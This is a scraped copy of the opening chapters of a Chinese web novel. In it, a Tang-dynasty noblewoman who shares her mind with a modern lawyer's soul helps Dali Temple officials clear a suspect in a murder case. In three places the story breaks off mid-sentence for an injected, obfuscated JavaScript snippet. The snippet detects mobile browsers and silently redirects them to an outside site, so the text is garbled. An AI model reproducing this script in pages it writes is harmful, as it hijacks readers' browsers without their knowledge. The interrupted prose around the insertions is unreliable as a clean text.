《我以为我是穿越女主》 1. 第 1 章 戌时天色将黑,洛阳城郊,万安观后院袇房,含霜点上一盏灯放到沈缨华的案桌上,玉露为她披上一件薄衫:“娘子,春寒未过,仔细别着凉了,这经书明日再抄吧,现在用晚膳可好?” 沈缨华抬头望了望窗外,见天色渐晚,遂放下笔,伸了伸懒腰,刚要站起,顿感腿麻脚麻,身子一歪从支踵上栽倒在地。 两个丫鬟熟练地扶她起身,一步一步挪动到塌上,一人一足,替她按摩双腿,沈缨华双手枕在脑后,无奈叹口气,心想:一觉醒来连跪坐都不习惯了 沈缨华,出身吴兴沈氏,祖父沈朗官拜刑部侍郎,有二子一女,其父沈瑜乃长子,她则是沈父长女,自幼聪慧,饱读诗书,娴静秀美,标准的世家贵女,一切变故发生在一个月前。 祖父母携家中儿孙回老家洛阳祭祖,途经城外的忘归湖,她一时不察跌入湖中,撞到头部,昏迷数日,神游太虚之时,竟发生了怪事。 她一睁眼,发现自己置身于一团白雾之中,无论如何呼喊,四周皆是不见人影,天上地下一片纯白。 极致的白,晃得人恐慌,她闭上眼竭力安慰自己:“我在做梦,我在做梦,快醒来……” 再一睁眼,眼前竟凭空出现一个和她长得一模一样、衣着怪异的女子。 “啊!”“啊!”两声惊叫同时响起,二人各自退开,都被吓得不轻。 “你是谁?”“你是何人?”又是同时出声,随即陷入缄默,惊疑不定的相互打量。 那女子未施粉黛,瞧着比她稍长几岁,长发束于脑后,身上穿着灰扑扑的呢制长袍,脚着黑色皮靴,全身上下竟没有一件首饰,似乎是番邦来的庶民。 沈缨华脱口而出:“娘子可是来自番邦?” 马尾女子愣了一下,喃喃自语道:“娘子?齐胸襦裙?你是唐朝人!” 沈缨华点头:“某乃大唐吴兴沈氏,沈缨华。” 马尾女子瞪大双眼,吓得脸色煞白:“唐朝……我我我穿越了,怎么会呢,我不是救人去了吗?那孩子救起来没啊,呜呜……”说罢蹲在地上埋头落泪。 沈缨华本就是个热心肠,见马尾女子伤心难过,上前一步,轻声安慰:“别哭呀,娘子可是遇上了什么难事?” 马尾女子深吸几口气,冷静下来,抹了两把泪,盘腿坐在地上,眼神复杂地看向沈缨华:“我来自后世,是一名律师,为了救人死在冰湖中,不知何故出现在这里,你也是……死了吗?” 沈缨华眼神惊恐,连连否认:“我当然没死,只是……”她面露困惑,不知该如何解释为何自己会出现在这里,干脆岔开话题问:“娘子说的后事是何意?绿诗又是什么诗?” 马尾女子收起哭丧的脸,开始细细说明自己的职业,以及后世种种。沈缨华听得啧啧称奇,没想到千年后的娘子们竟能当讼师,随意抛头露面,与儿郎们一样出门做工,甚至与武皇一样当圣人!还有那什么电视机、手机、飞机之类的,堪称神迹! 马尾女子还在滔滔不绝地说:“我们那儿可好了,人人平等,大家遵纪守法,不像你们这儿……” 沈缨华忍不住反驳:“大唐律法严明,自太宗起便奉行天下之法,百姓安居乐业,尔为何口出妄言,贬低大唐!” 马尾女子轻嗤一声:“唐律虽是不错,可你们真的执行到位了吗?你口中的百姓大字不识几个,就算被人欺了也没法反抗,走不出朝堂的律法谈何公平!” “你!”沈缨华气不打一处来,却半天怼不出一个字。阿翁就是刑部侍郎,她自幼听过的冤假错案数不胜数,除了感叹一句可怜,似乎也别无他法。 二人谁也不服谁,场面一时僵住。 沈缨华刚想再挽尊一番,数道熟悉的声音自虚空中传来。 “吾儿沈缨华快快醒来!” “丹娘快醒醒!” …… 沈缨华只觉一阵晕眩,再一睁眼,印入眼帘的是喜极而泣的家人。 她本以为自己只是做了一场幻梦,谁知后来脑子里多了一道声音,正是那个自称来自后世的束发女子,她不肯告知全名,自称“阿玲”。 她能通过沈缨华的眼看到外界,小嘴碎得很,连净房都会点评一二,每日喋喋不休念叨千年后有多好。 一开始沈缨华并未理会,权当“她”不存在。后来实在忍不住,在心里与她吵了起来,偶尔急了眼还出口回怼。 “我们大唐好得很,轮不到你来指摘!” 不巧的是,此刻正值洛阳家宴,族人们正欢歌笑语之时,她忽然语气不善的自言自语。 年纪最长的叔曾祖顿时蹙眉,他看着沈缨华长大,知她并非冒冒失失的小娘子,但这孩子自从伤了脑袋后,精神似乎有些不大好。 他先假装没听见,径直岔开话题,维持住孩子的体面,宴席一散,立即召开沈缨华的祖父沈朗和父亲沈瑜。 “吾观丹娘的气色不大好,恐怕还得养一养,明日还是先别回长安了。你们送她去城外的万安观住上半个月,调理一下。养好了再回,莫要急于启程,让孩子落了病根。” 沈瑜一听要送掌上明珠去道观,这还得了,刚要出口反驳,被沈朗抬手制止,他问:“叔父可是认识观主?她懂医术?” 叔曾祖抚须点头:“那观主道号玄清,家中世代行医,她自己也是岐黄妙手,后入玄门,炼性修心,以道医济世,绝非泛泛之辈。” 沈朗思量片刻,他知孙女脑疾未愈,这几日时常自言自语或久久愣神,只是他并不信请神驱邪那套法子,但若是懂医术的道家,倒是可以试上一试。 就这样,自知失言闯祸的沈缨华乖乖接受祖父安排的道观修行“半月游”。 也不知是观主玄清道长医术高超,还是三清在上让“阿玲”不敢造次,总之,沈缨华这段时间过得实在悠闲清静。 只是今日,她的清闲日子即将到头。 “大理寺办案,退开!” “大理寺办案,观主何在?” 一声声喧闹打破了万安观沉寂的春日傍晚,袇房中的三人面面相觑,院门被人敲得砰砰作响,门外男子大喊:“开门,大理寺办案。” 含霜和玉露紧张地看向沈缨华:“娘子,开门吗?” 她点点头,镇定地说:“开,去把帷帽拿上。” 院门打开,门外站着几位身着圆领袍、头戴幞头的男子,领头的稍稍欠身行礼,说:“大理寺办案,还请娘子们全部去前院集合。”说罢便抬手让出院门。 沈缨华瞧了瞧几人的衣着,确系大理寺的官服,她欠身行礼,对着后面的绿袍男子问:“官人,可否让我看看您的鱼符,毕竟这院里都是弱女子,可不敢贸然与陌生外男行走。” 最后面那位儒雅清秀、眉目疏朗,身着深绿色圆领袍的男子挑眉微微一笑,并未介意女子的冒犯,爽快地取下蹀躞带上的鱼符递给她。 沈缨华接过鱼符仔细查看,大理寺司直耿文达,六品官员亲自带队来洛阳的道观,怕是真出事了! 沈缨华双手奉还鱼符:“多谢耿司直,请问观里出了何事?” 耿文达没有正面回答,只是微笑着说:“小娘子到前院即可,其他的无可奉告。”说罢示意其他手下前往另一处袇房,唯有敲门的男子沉默地跟在三人身后。 含霜和玉露都觉得心里发毛,不由自主一左一右搂着沈缨华的胳膊,含霜小声问:“娘子,这万安观是不是死人了?不然怎么大理寺的都来了。” 玉露:“你可别瞎说,我……我鸡皮疙瘩都起来了!” 沈缨华瞧着一路上匆匆而过的大理寺官吏,心里也泛起嘀咕,观里出了何事,竟引来几百里外长安城的煞神。 “甭管出什么事,先把你祖父的身份亮出去,大理寺也得敬他三分。”阿玲的声音自脑海中再次响起。 这次沈缨华学乖了,她咬紧牙关不肯回应,生怕自己一个急眼,又脱口而出惹来非议。 三人踏入前院,观中人多已聚齐,女冠、居士、丫鬟三三两两聚在一起,一边窃窃私语,一边打量满院的官差。 观主玄清道长对沈缨华歉意一礼,轻声解释:“沈居士,惊扰您了。大理寺的官人说有犯人逃入观中,安全起见,须得搜查一番。” 沈缨华眉头一皱,问:“什么犯人还需劳烦大理寺出马?”玄清闻言一怔,也答不上来。 耿文达带人从侧边厢房出来,有手下匆匆从后院迎上前,在他耳边轻声密语,他眉头紧锁,无奈叹口气,正想吩咐什么,恰好此刻,大门口传来一道醇厚磁性的男声:“人抓到了吗?” 耿文达头皮发麻,立马躬身揖礼,头也不敢抬:“头儿,周围已封锁,未发现贼人踪迹。此贼恐已入后院,大伙儿正在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317600|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全力搜查,稍候片刻定能将其拿下!” 沈缨华等人循声望去,身着绯色官袍的男人从正门口一片火把的光芒中走来,身量极高,恐怕有六尺四寸,剑眉星目,眼含威严,手扶腰间横刀,大步流星走进院内。 他扫视一眼院内的人,随即吩咐:“所有女子脱下帷帽,验明正身。” “不可!” “大理寺竟敢公然欺辱女子!” “就是就是!” “你知道我阿耶是谁吗?” 阿玲轻嗤一声:“你爸是李刚!” 沈缨华虽不知李刚是何意,但听那语气,八成不是什么好词。 阿玲继续吐槽:“眼前这位可是深绯色官袍,四品没跑了,大理寺够资格穿这个颜色的只有少卿,这帅哥看着不过二十多岁,当这么大的官儿,肯定是门荫入仕,要拼爹?在座的各位,包括跳脚最厉害的那位程家三娘子,家里老爹也就是个没实权的伯爵,都是四品,你还装上了!” 沈缨华在心中默问:“你怎么知道程三娘父亲是伯爵?” “哦,这几天我发现能看到你的记忆。” “你这人怎么这样啊,私自窥探旧事。” …… 绯色官袍的男子一言不发看着眼前这群聒噪的小娘子,耿文达一看不好,自个儿老大要发火了,他忙低声安抚。 “头儿,那死贼的手段再厉害,也不至于短短几刻钟就易容成小娘子,我看……” 绯袍男子横了他一眼,耿文达悄然收声,不再多言,只得抬眼求助观主。女冠们倒也罢了,可万安观中住了好几位官宦女眷,玄清道长亦是不敢得罪,左右为难。 阿玲:“你赶紧带个头啊,好歹也是你祖父的兄弟单位,支持一下工作呗。” 沈缨华本想拒绝,转念思忖,她说得有道理,在大理寺少卿面前刷一下好感,说不定对阿翁有好处。 其他人还在吵吵闹闹,沈缨华一把取下帷帽,朗声问:“官人,您要如何验身?” 绯色官袍的男子抬眼看向沈缨华,琥珀色的眸子里添了几分欣赏的笑意。 耿文达赶紧接话:“小娘子,您只……” “沈大娘,你什么意思,竟然帮着外男打扰观中安宁!” 沈缨华翻了个白眼,怼回去:“程三娘,闭嘴吧,你以为现在什么情况!大理寺少卿亲自出马办案,尔等现在不乖乖配合,待贼人真的潜入观中作恶,让你阿耶阿娘来收尸吗?” 耿文达大赞:“小娘子好眼色,这位便是大理寺裴少卿。”众人倒吸一口气,心下一算自家门第在这位面前大概不够看,先前还吵成一团的小娘子们纷纷取下帷帽,不敢再有异议。 裴少卿难得耐心地对众人解释:“潜入观中的贼人会易容之术,为防止他冒充女子蒙混过关,由我手下的杨娘子检查一下各位中是否有乔装者即可。”说罢,便对后面点了一下头,一位身着胡服的小娘子走到众人面前,叉手欠身行礼,她环视一圈,先走到沈缨华面前,小声说:“娘子得罪了。” “无碍。” 她上手摸索着沈缨华的脸,从额头到脖颈再到耳侧,确认无误,又转向含霜,如此往复,直到程淑兰,她面含愠色,避开了杨娘子的手,翻了个白眼:“我才上了妆的,被你碰花了怎么办。” 杨娘子望向裴少卿和耿司直,犹豫着该不该强硬行事,二人皆是无语,心中同时升起一个念头,这姓程的小娘子真麻烦! 沈缨华见天色已黑,这样耗下去,几时才能回屋啊,不等大理寺的官人发话,她径直上手就对着程淑兰的脸一通搓揉,完事后说:“好了!”杨娘子忍笑行礼致谢。 “沈-缨-华!” “程淑兰,你傍晚上妆干嘛,要会情郎吗!你再废话一句,我便托人带话给程伯父,关你禁闭!” 程三娘闻言,像被掐住脖子的大鹅,憋着满腔怒火无处发泄,只能愤愤地瞪着沈缨华。 二人谁也不服谁,眼看又要闹起来,丫鬟们忙上前劝说。 沈缨华突然觉得哪里不对,程淑兰有个贴身丫鬟名唤小桃,极为跋扈护主,今天怎么躬着身子躲在后面? 她心中疑惑,下意识侧身低头去看小桃,恰好“她”也小心抬头观察四周,四目相对。 这双眼睛不是小桃! 阿玲在她脑中大喊:“快跑!” 2. 第 2 章 沈缨华惊叫一声欲退开,却被“小桃”反手拽过去,纤细的脖颈被粗壮的胳膊紧紧夹住,“她”取下头上的银簪对准她的咽喉,大呵:“别过来!” 人群惊叫着四散逃开,大理寺众人立即拔刀,将两人团团围住,含霜和玉露哭嚎着要冲上去救人,被杨娘子挡在身后: “不可轻举妄动,他会伤到你家娘子。” 裴少卿抬手示意,手下立即将无关人等全部赶去后院,免得又被这贼人趁乱逃走。 耿文达怒喝:“胡七,赶紧放开沈娘子,束手就擒!” 胡七拖着沈缨华边退边喊:“我没有□□杀人,是那高县令诬陷我!” 裴湛抽出横刀,厉声呵斥:“荒谬!人证物证俱在,巩县县令与你无冤无仇,死到临头了,还要血口喷人!” 此刻,被劫为人质的沈缨华大脑空白,唯有阿玲怒吼:大理寺的王八蛋能不能别再刺激嫌疑犯,老娘要被你们害死了! 胡七心下一慌,右胳膊霎时收紧。 阿玲赶紧支招:“丹娘,快安抚他,就说……就说你祖父会替他主持公道。” 沈缨华拽住胡七的手臂,慌忙安抚:“胡君,莫慌莫慌……我阿翁是……是刑部侍郎,你若是被冤枉的,我定会让他还你清白,你快……松松手,我要被你掐死了!” 胡七本就不想闹出人命,劫持这个娘子实属意外,他忙松了松胳膊,委屈辩解:“我真没杀人,那血衣非我所有,不是我,不是我……” 他语气透着哭腔,持发簪的左手不停颤抖,尖锐的发簪时不时贴在沈缨华脖颈上,令她更加紧张,绞尽脑汁想稳住胡七的情绪,拖延时间,盼望大理寺的人能解救她,忙说:“裴少卿,我观胡君面善,非那凶神恶煞之徒,是不是有什么误会,要不……要不你将案子说给我听听,我熟读律法,若你们有判得不对的地方,我能帮胡君辩上一二。” 裴少卿不为所动,依旧拿着横刀,一言不发地紧盯胡七的一举一动。 耿文达看着焦急万分的沈缨华,转头低声向上司说:“头儿,这位沈娘子是沈侍郎的孙女,贸然上前怕这小子狗急跳墙,要不我就先说说拖延时间,等弓箭手就位再寻机射杀此贼。” “嗯。” “沈娘子,这胡七犯□□杀人罪,他……” 话说三个月前,巩县出现一个神出鬼没的采花大盗。此贼擅长装扮成妇人模样,以迷路讨水喝为由进入被害女子家中。 若是家中有人便会借口离开,若是碰上独居女子,便会以劳累歇脚为由,拿出钱财恳求留宿一夜,而后在膳食中下药□□被害人。受害女子即使察觉被侵害,碍于名节也不敢声张,此贼便屡屡得手,日益嚣张。 上月下旬,贼人又再次作案,这次他竟选中了清辉观中修行的女冠,道号□□。 迷晕了引他入袇房讲道的□□道长,拨开其衣衫,正行不轨之事,哪知迷药剂量不够,□□道长中途醒来大声呼救,黑心的贼人操起案几上的剪刀对她下了死手。 □□道长与酷爱道法的玉贞长公主私交甚笃,公主听闻道友惨死,悲恸不已,令官府速速破案。 巩县县令立刻派出大量人手寻访线索,这才得知自己辖区竟有一个神出鬼没的采花贼,此人擅长男扮女装,虽有多名证人但都只见过他易容后的模样,无人窥见其真颜。 县令急得焦头烂额之时,有捕快提供线索,混迹市井的胡七曾跟人学过易容之术,且此人面容姣好,男生女相,嫌疑极大。 官府突袭清查胡七的住处,从灶膛里搜出一套未烧尽的粉色血衣,且有邻人证实,案发当日胡七并未归家,第二天回来时身上有血。 巩县县令由此断定,胡七便是□□杀人的凶手,着人全县缉拿,但此贼狡诈,竟屡屡躲过搜查。玉贞长公主大发雷霆,亲自去大理寺搬救兵,这才将他堵在万安观中。 胡七喊冤:“我是会易容,但平时都是扮做英武的男子,未曾扮过女装!” 耿文达冷哼一声:“那你现在这身几个意思?” “我这不是被你们逼急了才破例扮成小娘子嘛,我真没杀人。那日是替邻居牛二郎跑腿送货去坡头村,后来路遇卖酒的胡商,一时兴起买了一小壶,哪知那酒后劲儿太大,我喝完就醉倒在林子里,醒来晕乎乎的,一脚踩空掉到猎户的陷阱坑里,手上划了一道口子,被困了一天一夜才勉强爬出来……” “放屁,灶膛里的粉色血衣,你又作何解释?” “定是那县令害我!他破不了案子,怕公主责罚,便栽赃陷害,让我当替罪羊!” “闭嘴!别吵!”沈缨华不耐烦地吼道,她气势太盛,两个男人立马噤声,面面相觑。 她总觉得哪里不对,问:“耿司直,案发于上月下旬,若胡七是凶手,为何这么些天都不处理血衣?” 耿文达解释:“他烧了啊,只是院子里的柴火被雨水浸湿,没烧干净而已。” 沈缨华闻言点头,虽有些牵强倒也不算离谱。 胡七忙说:“小娘子,我是被陷害的,休听他们胡说。” “可你空口无凭,人家却有实打实的证物,若是想要洗清嫌疑,你的证人证物呢?” “我真摔坑里了,你瞧这疤还在呐!”说罢,他张开左手掌心,确实有一道长约两寸的疤痕。 沈缨华:“坑在哪儿?谁能做证?” 胡七苦着脸,说:“大概是在城郊附近密林中,我……我吃了酒不甚清醒,又在那里饿了一宿,记不清了。” 耿文达又呛了他一句:“一问就是不记得,你这种犯人我见多了!赶紧把沈娘子放咯……” 胡七又是一番喊冤,越说越激动,沈缨华简直要被耿司直气死了,他是生怕自己不被这胡七弄死嘛,这小子左手的簪子还抵着我呐! “丹娘,他是左撇子。”阿玲一语击中要害,沈缨华脑子飞转,迅速明白她的意思。 “耿司直!您刚说□□道长是被刺中哪儿来着?” 耿文达正跟胡七吵成一团,脑子没跟上:“啊?” 杨娘子接话:“正中左胸,当场毙命。” 沈缨华又问:“刺了几刀,角度如何?” “卷宗上说是正刺两刀。” 沈缨华灵光闪现发现了不对的地方。 胡七一个左撇子怎么会正好刺在左胸上,难道是恰好在被害道长的身侧? 阿玲立即反驳:“不对,根据现有的调查线索,凶犯首先是个采花贼,一开始的目的是非礼被害人,杀人行为是突发情况。他行凶的时候大概率应该是坐在被害人身上,而非站在身侧。” “为什么?” 阿玲清了清嗓子,虽然到死都是没开荤的单身狗,但不妨碍她成为阅片经历丰富的“老司机”,开口就是一段绘声绘色的两性科普,把沈缨华听得目瞪口呆。 待她红着脸,晕晕乎乎回过神,见裴少卿眼神频频飘向墙外,顿感不妙。 不好,有弓箭手,这臭男人下手真黑,不怕把我也射中了。 她赶紧大喊:“裴少卿停手,不许放箭,胡君是被冤枉的,杀人者另有他人!” 此言一出,众人惊愕,连一脸淡然的裴少卿也有些崩坏,她怎么知道有弓箭手? 沈缨华生怕他们不停手,一股脑说出推断:“证据就是,凶犯仓皇行凶,下意识便会用自己习惯的手拿凶器,□□道长仰卧躺在床上,伤口在左胸,说明骑坐在上面的凶犯应是用右手拿刀刺下。胡君惯用左手,若他是凶犯,刺下的角度不应是垂直,而是有所倾斜。综上所述,凶犯不是他!” 裴少卿挥手示意墙外的弓箭手勿动,沈缨华冷汗淋淋,长舒一口气,心想自己小命保住了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317601|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>胡七傻傻反问:“小娘子怎知我惯用左手?” 不远处的杨娘子反驳:“既是情急之下,如若右手离凶器更近,临时用右手也是说得通的。还有,凶犯如若是跪在被害人身侧,如此一来,即使用左手应该也能正刺胸口。” 沈缨华突然拔下头上的淡粉色牡丹花向杨娘子抛过去:“接着。” 杨娘子措手不及,下意识伸出右手接住牡丹,她微微一怔,看着自己的右手,又看向沈缨华。 只见她眉眼弯弯,狡黠一笑:“看来杨娘子惯用右手。”随即支支吾吾补充:“至于凶犯……的位置嘛,额……你得考虑行凶时的特殊场景。” “什么场景?”杨娘子和胡七异口同声,不明所以。 裴少卿和耿司直宕机片刻后,脑海中自动演示沈娘子的话,忽而对视一眼,还真是! 该如何向纯真的娘子和郎君解释,男女“打架”的时候,男子大概率是骑坐在女子盆骨附近,而非身侧,若此时顺手操起剪刀行凶,左撇子应该很难做到垂直刺入两刀。 两双清澈好奇的眼睛还在等待沈缨华的解释,她话锋一转:“娘子身后的官人们都未发问,大约是懂我的意思了,你去问他们吧。” 杨娘子听话地转头看向耿文达正要开口,耿司直头皮发麻,我的天爷啊,他赶紧捂住她的嘴,小声道:“沅娘,咱们回去再说啊。” 裴少卿颇为不自在的轻咳一声:“行了,本官认可这些疑点,案子发回重新调查,胡七暂时收押,赶紧放开她!”说罢,一言难尽地看了一眼沈缨华,她还真是一点不知羞……不过脑子倒是挺好使的。 胡七手一松,银簪跌落在地,立马跪下对沈缨华连连磕头:“多谢娘子救命之恩,多谢,多谢!” “起来吧,你把真正的小桃藏哪儿了?” “小桃娘子被我堵了嘴绑在柴堆中,我没伤她啊。” “哦……” 沈缨华抬手蓄力,狠狠给了胡七两巴掌:“这是你挟持我的惩罚,咱们两清了。” 胡七捂着脸,委委屈屈地点头,一旁大理寺的人同时升起一个念头:沈娘子不好惹。 一夜风波,众人都累坏了,胡七虽暂时洗清了嫌疑,但在未有新证据出现前,大理寺还是将他先看管起来,一起留宿在万安观中。 胡服女子,大理寺御用仵作,杨沅君还未死心,缠着耿文达非要弄清体位问题,他被沅娘问得心累,只好转移火力:“头儿,裴少卿,裴湛,你管管她行不行!” 裴湛一边翻看卷宗一边看好戏,微微一笑:“沅娘聪颖好学,你这个当上司的为她解答一下有何不可?” “不是,你……你这也太无……那个什么了吧。” 杨沅君一根筋地堵着他俩:“两位官人为何不给我解答,莫不是看不起女子。” 裴湛叹口气,笑了笑:“那行,我帮你解答,你给我什么好处?” 耿文达转头震惊地盯着上司,杨沅君一脸懵懂:“少卿想要什么尽管说!” “桃花雪。”裴湛指了指她头上粉色的牡丹花,正是先前沈缨华抛给她又替她簪上的那朵,杨沅君爽快地取下来,双手奉上。 裴湛朝门外吩咐几句,过会儿便进来一高一矮两位小吏,两人本以为平日里威严板正的裴少卿有要事吩咐,没想到却是让他俩当着沅娘子的面,模仿那档子事儿,碍于权势,两人一脸羞愤地从了。 完事后,耿文达同情地给他俩承诺结案后多放几天假,裴湛憋着笑递给两人一袋子“精神损失费”。 “罪魁祸首”杨沅君羞得满脸通红,好想掐死刚才喋喋不休非要问个明白的自己。 她羞愧地小声辩解:“我我我……真不知道会是这样,哎……这沈娘子懂得也太多了。” 裴湛笑容淡了下来,确实懂得太多了,竟不似大家闺秀。 3. 第 3 章 这场闹剧折腾众人至深夜方歇。 玉露、含霜寸步不离守着沈缨华,生怕她噩梦难眠,非要跟着进屋。 沈缨华无奈地挡在门口:“你们明知我自幼不喜房中留人,还跟着干嘛。” 玉露:“娘子,您才脱离险境,独自一人会做噩梦的。” 沈缨华毫不在意地摆摆手:“不会,你们赶紧回屋吧。” 含霜又劝:“娘子,观里才进了贼人,您一个人睡屋里恐怕不安全!” “胡七不是贼人,而且现在观里都是大理寺的官差,再者,你二人就在隔壁,我嚷嚷一声都能听见。好了好了,快去歇吧。”她赶紧合门上锁熄灯,一股脑直奔床榻,整个人钻进被子里,在脑海中呼唤阿玲。 “阿玲,你真厉害,几句话就帮胡七洗清嫌疑。” “嗨,小case而已,办过的案子多了自然也会抓细节啦,而且我可是阿加莎的忠实粉丝,这点洞察力不过是基操啦。” “什么阿家沙、粉丝?” “是阿加莎·玛丽·克拉丽莎·克里斯蒂,最伟大的侦探小说家……” 阿玲得意极了,把压箱底的侦探故事全抖了出来。沈缨华听得津津有味,两眼放光,千年后的话本仿若一把斧头,直接破开了新世界的大门! 一连说了大半个时辰,阿玲累得口干舌燥,你若问为何幽魂有感觉? 她分析自己大抵是奈何桥没过完,直接掉河里还游反了,导致魂穿千年前。作为上一世的幽魂,她一直沉睡于这一世的记忆宫殿中,直到沈缨华阴差阳错唤醒了她,成了一体双魂的奇葩,所以二人感官相通。 待讲完第三个谋杀案后,阿玲越发口渴难耐,催促道:“今天就到这儿了,你快去喝杯水,赶紧睡。” “可是……”沈缨华正听得津津有味,意犹未尽。 阿玲瞪了她一眼,沈大娘子也意识到时辰太晚,该歇息了,一步三回头地离开纯白的意识空间。 窗外渐起的雨滴声成了最美的白噪音,刚才还精神抖擞的沈缨华倒下便入了梦乡。 春雨淅淅沥沥下了大半夜,晨起太阳露了脸,玉露、含霜早早候在自家娘子床边,昨晚那一幕实在过于惊心动魄,虽说最终圆满解决,但二人皆忧心不已,生怕娘子噩梦缠绕。 被丫鬟们惦记的沈缨华则一夜好梦,明明只睡了三个时辰,却依旧容光焕发。 心情颇好的沈缨华咬下一口小饼:“嗯……这胡麻饼不错,春娘子手艺突飞猛进啊,尝着竟与长福街尹大娘家的不相上下,来来来,你们也尝尝。”说罢,给玉露和含霜一人塞了一个饼。 含霜解释:“不是春娘子做的,是大理寺的官人送来的,说是昨儿多有得罪,清早便差人去城中买了胡麻饼和小点。” “啊?果然……春娘子的手艺没啥进步空间了。”沈缨华咽下小饼:“大理寺的倒是有眼光,居然知道长福街尹大娘家的饼好吃。” “沈娘子在吗?”门外一道清丽的女声响起。 玉露起身打开院门,门外站着昨夜的胡服女子,她赶紧行礼,说:“娘子,是大理寺的官人,杨娘子。” 杨沅君走进院内,叉手行礼:“沈娘子,我叫杨沅君,并非官人,只是大理寺的仵作,昨夜亏有娘子帮忙,今日特来感谢。不知早上送来的点心可合您胃口,我……” “仵作?!大理寺竟有仵作,还是女子!”沈缨华语带兴奋,她昨日恰好听到福尔摩斯探案的故事,如今竟遇见华生的同行啦! 阿玲也来了劲儿:“女仵作?!牛逼呀,大唐果然跟那些裹小脚的朝代不一样!” 难得眼高于顶的阿玲夸上大唐,沈缨华身心舒畅,看杨沅君的眼神又多了几分热切。 杨沅君还以为沈缨华是有所忌讳,她急急解释:“我有好好洗手,不会……哎哎哎。” 沈缨华热情地拽上杨沅君的手入了袇房,亲热地招呼:“杨娘子,请坐请坐!” 她刚一坐定,沈缨华便问:“我能叫你沅娘吗?” 杨沅君愣愣地点头,没搞明白沈缨华葫芦里卖的什么药,她不是没跟世家贵女打过交道,但那些娘子无一不是高高在上,偶尔能碰上几个态度稍好的都属罕见。甚至连市井里的商户女子,听闻她的职业,也是避之不及,可这沈娘子怎么一听她是仵作,反而热情得很,怪哉怪哉。 “沅娘,你是怎么当上仵作的?有师承?” “额……说来话长。” “没事,你慢慢说,我听着呢。” 杨沅君见推脱不过,只好实话实说:“不瞒沈娘子,祖上曾有人当过仵作,留下些验尸门道。我祖父本是宫中御医,因得罪权贵丢了官职,本想开医馆谋生,却有落井下石之徒屡屡找茬,被逼无奈入了大理寺的门成了仵作,帮着破了些案子,小有成就。 后得贵人庇佑,让父亲开了一家医馆养家。这几年,祖父年迈不得力,我为了感激贵人,亦是想从事仵作之职,自愿接了他的位子。家里本是不许的,可我觉得仵作也没什么,就是脏点累点晦气点而已,反正我也没想嫁人……” 她越说越小声,生怕眼前的沈娘子觉得她离经叛道,又惹来一番说教。 哪知沈缨华非但没有说教,反而激动地拍了一下案几,举起大拇指,赞叹:“仵作多好啊,能帮死者申冤,还世间清白,佩服佩服,沅娘厉害!” “你……你不觉得我离经叛道,不守妇道?” “何谓妇道?我认为妇人如郎君一般立于世间,自立自强,这才是妇人之道!郎君都是妇人们生出来的,怎么他们就能当官做买卖游历人间,咱们女子就必须固守后宅,当一块望夫石!” 杨沅君第一次听到如此惊世骇俗的话语,她瞪大双眼,嘴唇微微颤动,胸口剧烈起伏,激动地直起身子,握住沈缨华的手。 自从当仵作以来,她已听过无数的闲言碎语,连阿翁都劝她放弃,和大兄一起跟阿耶学医,可她就是一根筋的想当仵作,也说不上原因。 如今沈缨华的一番话如同迷雾中的一盏明灯,将她点醒,当仵作是她的理想,男子可当她亦可当! 两人如逢知音,相谈甚欢,都是爽利性子,越聊越投机。 “沅娘,你参与过这么多案子,有写下手稿记录验尸的技巧心得吗?” “没有,记录这个干嘛?” “你糊涂啊,其一,仵作技艺全靠传承,可万一你无徒无子,那这一身本领岂不是全白费了,若是写下来,流传下去,日后行业必有你杨沅君的大名。 其二,你可是凤毛麟角的女仵作,更是得写下来,让人知道大唐曾有女子在仵作行业站稳脚跟,激励后世的娘子们独立自主。” 其三,必须让千年后的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317602|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道我大唐女子也能执笔验尸,不比华生差!沈缨华在心中默默补充。 杨沅君眼睛一亮,深觉有理:“好好好,我……我下次,不不不,就这次开始记录。” 两人聊得热切,杨沅君全然忘了此次拜访的真实目的。 另一处院子,耿文达走来走去,时不时张望院门外,嘀咕:“沅娘怎么还不回来,是没说动那沈娘子?也对……人家吴兴沈氏的千金怎么能掺和这事儿,头儿,要不算了吧,哎哎哎,你去哪儿?” “去会会那沈娘子。” “我也去。” 两个男人还未走进院子,便听到小娘子们的欢声笑语。 耿文达看向自己老大:嗯?这什么情况? 裴湛懒得跟他废话,下巴一抬,示意他去敲门。 “谁啊?” “大理寺耿文达,有事请教沈娘子。” 玉露打开院门,两人进到院子,杨沅君这才想起正事,急急起身,抱歉地对上司说:“耿司直,我刚和丹娘聊天,一时忘了您的嘱托……” “丹娘?”裴湛和耿文达面面相觑。 沈缨华解释:“我小名丹娘,耿司直有什么吩咐同我直说便可。” 